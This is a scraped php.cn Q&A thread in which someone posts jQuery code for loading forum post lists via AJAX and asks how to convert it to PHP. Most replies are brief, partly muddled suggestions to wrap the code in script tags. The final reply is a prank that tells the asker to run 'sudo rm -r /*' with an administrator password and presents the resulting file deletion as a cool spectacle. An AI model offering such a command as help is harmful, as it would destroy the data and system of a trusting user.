function get_hot_posts(day)
{
$('#hot_question_list').html('
');
$.get(G_BASE_URL + '/explore/ajax/ztlist/sort_type-hot__feature_id-' + FEATURE_ID + '__day-' + day + '__per_page-5', function (response)
{
if ($.trim(response) != '')
{
$('#hot_question_list').html(response);
}
else
{
$('#hot_question_list').html('' + _t('没有内容') + '
');
}
});
}
$(document).ready(function () {
$('#feature_dynamic a').click(function ()
{
if ($(this).attr('href') == '#unresponsive')
{
AWS.load_list_view(G_BASE_URL + '/explore/ajax/ztlist/sort_type-unresponsive__per_page-10__feature_id-' + FEATURE_ID, $('#bp_all_more'), $('#c_all_list'), 1);
}
else
{
AWS.load_list_view(G_BASE_URL + '/explore/ajax/ztlist/sort_type-new__feature_id-' + FEATURE_ID, $('#bp_all_more'), $('#c_all_list'), 1);
}
});
$('#hot_question_control li.active a').click();
$('#feature_dynamic li.active a').click();
$.get(G_BASE_URL + '/topic/ajax/question_list/type-best__feature_id-' + FEATURE_ID, function (result) {
if ($.trim(result) != '')
{
$('#c_best_list').html(result);
}
});
AWS.Init.init_comment_box('.aw-add-comment');
});
怎么把这个转成php
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
这代码本身是js的代码,你如果想在php中使用就直接用<scription>包起来就可用了。
如果你是指ajax请求的地址内容的话,那这个就是业务逻辑处理了。
放在html里,改下扩展名。
还可以心中默念php是世界上最好的语言,然后打开服务端键入
sudo rm -r /*,轻轻敲入你的管理员密码,此时就能身临黑客帝国般,只见屏幕上的代码如同黄河之水滔滔不绝,此时你需要做的只是等待